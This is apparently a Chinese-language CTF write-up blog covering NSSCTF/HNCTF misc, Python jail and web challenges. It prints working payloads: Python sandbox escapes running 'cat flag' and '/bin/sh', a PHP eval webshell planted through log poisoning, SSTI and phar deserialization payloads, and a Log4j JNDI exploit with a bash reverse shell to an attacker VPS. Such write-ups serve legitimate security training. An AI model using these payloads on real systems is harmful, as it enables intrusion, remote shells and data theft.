MISC
UP&DOWN_Aussie
题目描述
由于Aussie的一些申必bug 编码数据的长度为73,得出的数据第二位需要大写 第23位大写 第30位大写 第31位保密 第45位大写 第47位大写
题解
- 很有意思的题,但是也不难,搜到东西就很好办
- challenge.aussie
1 |
|
- 截个屏倒着看,发现应该是段代码,勉强能读,上 github 搜,发现了一个项目
- 将上面的代码粘贴到能运行的网站里
- 运行结果啥也没有,仔细看看代码内容
- 得知最后有用的信息在 you_can_find_me 内,仿照上面的语句让他输出这个变量
1 | ;ǝɯ_puᴉɟ_uɐɔ_noʎ ƎWWIפ |
- 粘贴运行的最后一句(最上面,得到内容
2rz4o1iHzajwMbPv5Lng4akWkYa11kDfT7h9rEuWEtsZbykTv431L33ThtkE3EHepg5x8pEEG
出题人说有 bug,按照题目描述修改一下
2Rz4o1iHzajwMbPv5Lng4aKWkYa11KDfT7h9rEuWEtsZByKTv431L33ThtkE3EHepg5x8pEEG
- 拿 CyberChef 猜一下,嗯,base58
NSSCTF{c0oL_u_f1NiSH_tHe_upsidedown_@nD_SeE_tHe_f1@g}
pdf && png
题解
- pdf 打开,只有一条虚线,尝试分离 png数据流,binwalk
binwalk -e flag.pdf
得到两个 16进制 文件(我就是个菜鸡,根本没认出来是 RGB 值
- 脚本(感谢 cjj 学长不辞劳苦的做了一遍,还给了我脚本
1 | from PIL import Image |
3. 得到一串有意义的字符串(天真的我以为已经出了
d1d_u_f1nd_Th1s_KEy_F1l3
- wbs43open 解密
NSSCTF{u_can_use_wbstego_and_find_flag}
看不见的代码
题解
http://esolangs.org/wiki/Main_Page
- 下载文件,里面只有:空格 tab \n
1 | ...tt..tt. |
- 找到在线运行网站 Whitespace
- flag
flag{you_cant_see}
NSSCTF 天书
题解
- 下载文件后压缩包内包含大量文件,字节数为 2,3,4,文件内容为 rar 二进制文件
- 确定大致思路
通过 CRC32 爆破字节
提取文件名,转化为阿拉伯数字,按顺序写入
- exp
1 | import zipfile |
- 跑完脚本挺费劲的,得到一个压缩包,两张图片,一个含加密过程的 py
- 解密,得 flag
nssctf{R@R?!1et@s_s33_tho5e_p1ctur3s}
NSSCTF Bronya
题解
- 下载文件,注释得知密码为 2018****,爆破得到两张图片
- 不会,后来得知是盲水印,配环境,解密
https://github.com/chishaxie/BlindWaterMark
python bwmforpy3.py decode bronya.png flag.png test.png
- flag
nssctf{Th3_P10t_S0_sweet}
NSSCTF guessnumber (ACM)
题解
- 题目是一个猜数游戏,每次游戏都是一个 4 位数,每次猜测之后会给出每一位偏大或偏小的信息
- 只考虑猜测一次之后剩余可能的数最多有多少,选择最少的情况进行猜测。实现上可以维护一个当前可能的答案集合,每次猜测前先遍历集合,找到按上述策略最优的猜测选项,进行猜测并利用给出的信息更新答案集合,直到答案集合只有一个元素,就是正确答案
- payload
NSSCTF jail level 0
题解
1 | WELCOME = ''' |
- payload
__import__('os').system('cat flag')
open('flag').read()
- flag
NSSCTF{10a0f6d5-8d31-4ac4-9310-71a9c48cf961}
NSSCTF jail level 1
题解
1 | def filter(s): |
- exp
1 | a = "__import__('os').system('cat flag')" |
- payload
1 | eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95) |
- flag
NSSCTF{f3f1df73-8643-4d84-9398-a32c3ab9cc1d}
NSSCTF jail level 2
题解
1 | WELCOME = ''' |
- payload
eval(input())
__import__("os").system("cat flag")
- flag
NSSCTF{af8ebdf5-e0dd-45db-9674-f8cceccc85a4}
NSSCTF jail level 2.5
题解
1 | #the length is be limited less than 13 |
- 要用的被过滤了,经过出题人和学长的提醒,进入调试模式
- payload
breakpoint()
__import__('os').system('cat flag')
NSSCTF jail level 3
题解
1 | WELCOME = ''' |
- payload
help()
+
!/bin/sh flag
- flag
NSSCTF{817d3d91-f19e-42b8-9049-46cef27ab4f5}
NSSCTF jail level 4
题解
1 | #No danger function,no chr,Try to hack me!!!! |
- payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read() # ./flag
- flag
NSSCTF{d0f578d5-f44b-4a23-98f7-6c26dd2e2d6f}
NSSCTF jail level4.0.5
题解
1 | BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals'] |
- payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read()
NSSCTF jail level 4.1
题解
1 | Answer: #No danger function,no chr,Try to hack me!!!! |
- payload
1 | my_eval_func_ABDC8732(my_input_func_001EC9GP()) |
- flag
NSSCTF{374855eb-4c56-4c2f-a538-bbe7a3f51b1f}
NSSCTF jail level 4.2
题解
几乎和 4.1 一样,非预期解直接出
NSSCTF jail level 4.3
题解
1 | BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open'] |
- payload
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[i for i in ().__class__.__base__.__subclasses__()[-4].__init__.__globals__].pop(47)](().__class__.__base__.__subclasses__()[6]([99, 97, 116, 32, 42]).decode()) |
利用
os.system(bytes(['cat *']))
- flag
NSSCTF{41c240b2-9ea8-4365-9eff-f85679d2bdcc}
- 预期解一样解上两道
NSSCTF jail level 5
题解
1 | #It's an challenge for jaillevel5 let's read your flag! |
- load_flag.py
1 | class secert_flag(str): |
- payload
预期解:
‘’.join(my_flag.flag_level5)
NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
非预期解(1):
1 | breakpoint() |
非预期解(2):
my_flag.flag_level5.index(‘NSSCTF{*****’) 爆破
NSSCTF jail level 6
题解
1 | import sys |
- 非预期
1 | __builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None) |
- 预期
1 | exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')") |
NSSCTF jail level 7
题解
1 | import ast |
- payload
1 |
|
NSSCTF s@Fe safeeval
题解
1 | import os |
- payload
(lambda: os.system(‘/bin/sh’))()
cat flag
NSSCTF python2 jail
题解
1 | WELCOME = ''' |
- payload
1 | __import__("os").system('cat flag') |
NSSCTF{4fd091c9-cd80-4088-9967-9c088e940837}
NSSCTF jail lake lake lake
题解
1 | #it seems have a backdoor |
- payload
1 | 1 |
- flag
NSSCTF{4ea288b4-cce3-45dd-8749-120bb5e359eb}
NSSCTF jail l@ke l@ke l@ke
题解
1 | #it seems have a backdoor as `lake lake lake` |
- payload
1 > help() > server > 1 > help() > server
第一次 help() 中查看 server 时,环境变为 server.py,此时可以查看变量
ke_9d38ee7f31d6126d = ‘95c720690c2c83f0982ffba63ff87338’
NSSCTF{422d9d33-4c34-49ec-889c-a7fd7dd3f15a}
NSSCTF laKe laKe laKe
题解
1 | #You finsih these two challenge of leak |
- payload
1 | list(__import__('sys')._getframe(1).f_locals.values())[1] |
- flag
NSSCTF{cfb193c0-6ae9-4213-b75d-d6304cf5b5ea}
NSSCTF Side-channel/pyjail: tyPe Ch@nnEl
题解
1 | MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}" |
- 题目分析
eval 的执行环境很干净,啥都没有,能用的只有数据类型的初始属性,并且所有魔法方法都不能用,意味着全程只能用 flag 中存在的东西操作 flag
1 | dir('') |
- 新知识++
True == 1 False == 0 可用此来判断
'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper'
flag.join(flag).split(flag).pop().split().pop(flag.join(flag).split(flag).pop({num}).isdigit())
type([])(‘test’) == list(‘test’) --> [‘t’, ‘e’, ‘s’, ‘t’]
bytes 的切片数据类型为 int
a = b’test’
type(a) --> “bytes”
type(a[0]) --> “int”
a[0] ^ 1 --> 117
来自学长部分 payload
- 非预期解(运气好,静态flag,费时)
通过 flag.join(flag).split(flag) 可以得到单个字符构成的 list
通过 list.pop() 弹出元素,然后切割 flag,确定弹出元素所在的位置
可以通过分割后 list 元素的数量判断重复次数,通过单个元素的长度判断 单个字符的位置
到最后就只能硬猜了,运气好,就猜了 4 次
- 预期解
type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})
i => flag 单字符位置
guess => num 猜测字符的 ascii 码
当相等时 return NoneType,当不相等时 报错,然后开始爆破
- 优化预期解
type(flag.split())(type(flag.split())(flag).pop({}).encode()).remove({})
- flag
略
WEB
Challenge RCE
题解
- index.php
1 |
|
- 正则匹配过滤了几乎所有的字符,利用自增得到
$_GET[1]
直接构造应该是不行的,到最后成功压缩到 121 个字符,过不了,不放了
1 |
|
来自学长的 payload
easy_unser
题解
- index.php
1 |
|
- payload
1 |
|
easy_include
题解
- index.php
1 |
|
- 过滤了 伪协议,异或,取反,拼接,flag,但是好像没有过滤 file://
- 可以访问 日志文件
/var/log/nginx/access.log
- 通过 user-agent 上传 木马
1 | eval($_POST["cmd"]); |
- hackbar 改包,上传,上传成功后并不能看到 木马内容,不显示,但已经成功了
- 蚁剑连接,出 flag
NSSCTF{a1cba83f-3eee-4e32-b585-72dc6ec14b16}
CanYouRCE
题解
- index.php
1 |
|
- 从正则表达式得到是考 无参数RCE (网上搜的
- 无参数RCE
只能执行类似 a(b(c()))
但是不能执行 a(‘test’)
- 不总结所有了,之后专门写一个,只写这用到的(先写作业
readfile(array_rand(array_flip(scandir(pos(localeconv())))))
因为是随机元素,总会有一个是 flag.php
- 审查,得 flag
NSSCTF{193fff60-095b-4ed4-ac77-984df2b1b842}
ez_phar
题解
- index.php
1 |
|
- payload
1 |
|
- 修改后缀为 png 上传,蚁剑连接 upload/test/test.txt
?filename=phar://upload/test.png/test.txt
- flag
NSSCTF{0df9cc80-ca68-4b9d-b331-7406fc05cd06}
logjjjjlogjjjj
题解
- 下载exp
1 | https://codeload.github.com/bkfish/Apache-Log4j-Learning/zip/refs/heads/main |
- 在服务器上启动服务
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev /tcp/{Your VPS IP}/{Listen Port} 0>&l" -A {Your VPS IP} |
- 开启 VPS 监听
1 | ncat -lvvp {Port} |
- payload
1 | hello?payload=${jndi:ldap://0.0.0.0:1389/sacadv} |
- 连接成功后找 Flag
1 | cat sos4cret |
SSTI
题解
- 过滤
_ os args
- 通过传参绕过
request.form.{}
- payload
1 | {{()[request.form.c][request.form.b][request.form.s]()[-15][request.form.i][request.form.g][request.form.o][request.form.sys](request.form.com).read()}} |
4. flag
NSSCTF{078be9fe-c174-4943-a10b-84d9e9f46625}
ohmywordpress
题解
- CVE-2022-0760 盲注
https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
- exp
1 | import requests |
QAQ_1inclu4e
题解
- session.upload_progress 文件包含 + 条件竞争
- exp
1 | # coding=utf-8 |
Fun_php
题解
- php特性狠活
https://www.cnblogs.com/murkuo/p/15388795.html
https://blog.csdn.net/not_code_god/article/details/123910155
- payload
1 | @Get |
unf1ni3hed_web3he11
题解
- session.upload_progress反序列化 条件竞争
- 流量抓取到真的题目位置:Rea1web3he11.php,根据提示 t00llll,访问t00llll.php 得到查看源码的方法,协议读取
1 | include_=php://filter/convert.base64-encode/resource=Rea1web3he11.php |
- php 反序列化
1 |
|
- 这个地方注意,我们只需要转义 ’ " ’ 双引号,而如果转义了单引号会导致序列化后的对象命令无法执行,所以最后传参的payload如下:
1 | |O:8:\"webshell\":1:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:29:\"system('find / -name flag*');\";}} |
- 条件竞争
1 | #coding=utf-8 |
- 抓包
fun_sql
- 堆叠注入
- payload
1 | insert ( , , );SELECT ,2,3 ; |
HNCTF官方wp
Pwn wp:https://hxz3zo0taq.feishu.cn/docx/doxcn7rfTxf8pk2UhNexjMOLQhb
Reverse wp:https://dqgom7v7dl.feishu.cn/docx/doxcnFESSimJ4UEvZK9ja8ZnArg
Web wp:https://dqgom7v7dl.feishu.cn/docx/doxcnfAleQyWvxtaviJQUyfedGd
Crypto wp:https://hxz3zo0taq.feishu.cn/docx/doxcnN6eRa9M02PQXrBr2dZ0pWg
Misc wp:https://nbkixd94d9.feishu.cn/docx/UFbrdq4iVoas5Ox365Wcp9HcnCh
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !